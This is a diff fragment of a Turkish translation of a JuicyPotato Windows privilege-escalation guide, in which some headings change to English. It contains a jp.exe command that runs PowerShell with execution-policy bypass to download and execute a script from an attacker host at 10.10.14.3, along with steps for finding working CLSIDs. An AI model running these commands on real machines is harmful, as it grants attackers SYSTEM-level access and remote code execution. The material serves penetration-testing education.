durumsal olabilir. ## Örnekler -Not: Denemek için CLSID listesi için [this page](https://ohpe.it/juicy-potato/CLSID/) ziyaret edin. +Not: Denemek için CLSID listesini görmek üzere [this page](https://ohpe.it/juicy-potato/CLSID/) ziyaret edin. ### nc.exe ile reverse shell alın ``` @@ -122,31 +122,31 @@ Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337 c:\Users\Public> ``` -### Powershell rev +### Powershell ters ``` .\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t * ``` -### Yeni bir CMD başlatın (RDP erişiminiz varsa) +### Launch a new CMD (if you have RDP access) ![](<../../images/image (300).png>) -## CLSID Sorunları +## CLSID Problems -Çoğu zaman JuicyPotato'nun kullandığı varsayılan CLSID **çalışmaz** ve exploit başarısız olur. Genellikle **çalışan bir CLSID** bulmak için birkaç deneme gerekir. Belirli bir işletim sistemi için denenebilecek CLSID'lerin listesini almak için şu sayfayı ziyaret etmelisiniz: +Çoğunlukla JuicyPotato'nun kullandığı varsayılan CLSID **çalışmaz** ve exploit başarısız olur. Genellikle bir **çalışan CLSID** bulmak için birden fazla deneme gerekir. Belirli bir işletim sistemi için denenebilecek CLSID'lerin bir listesini almak için şu sayfayı ziyaret edin: - [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/) -### **CLSID'leri Kontrol Etme** +### **Checking CLSIDs** -İlk olarak, juicypotato.exe dışında birkaç yürütülebilir dosyaya ihtiyacınız olacak. +Öncelikle juicypotato.exe dışında bazı yürütülebilir dosyalara ihtiyacınız olacak. -Join-Object.ps1'i indirin ve PS oturumunuza yükleyin, ardından GetCLSID.ps1'i indirin ve çalıştırın. Bu script test etmek üzere olası CLSID'lerin bir listesini oluşturacaktır. +Join-Object.ps1'i indirip PS oturumunuza yükleyin ve GetCLSID.ps1'i indirip çalıştırın. Bu script test edilecek olası CLSID'lerin bir listesini oluşturacaktır. -Sonra test_clsid.bat'i indirin (CLSID listesi ve juicypotato yürütülebilir dosyasının yolunu değiştirin) ve çalıştırın. Her CLSID'i denemeye başlayacak ve **port numarası değiştiğinde, CLSID'in çalıştığı anlamına gelir**. +Ardından test_clsid.bat'i indirin (CLSID listesinin ve juicypotato yürütülebilir dosyasının yolunu değiştirin) ve çalıştırın. Bu, her CLSID'yi denemeye başlayacak ve **port numarası değiştiğinde, CLSID'nin çalıştığı anlamına gelecektir**. -**-c parametresini** kullanarak çalışan CLSID'leri **kontrol edin** +**-c parametresini kullanarak** çalışan CLSID'leri **kontrol edin** -## Kaynaklar +## References - [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md) - [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)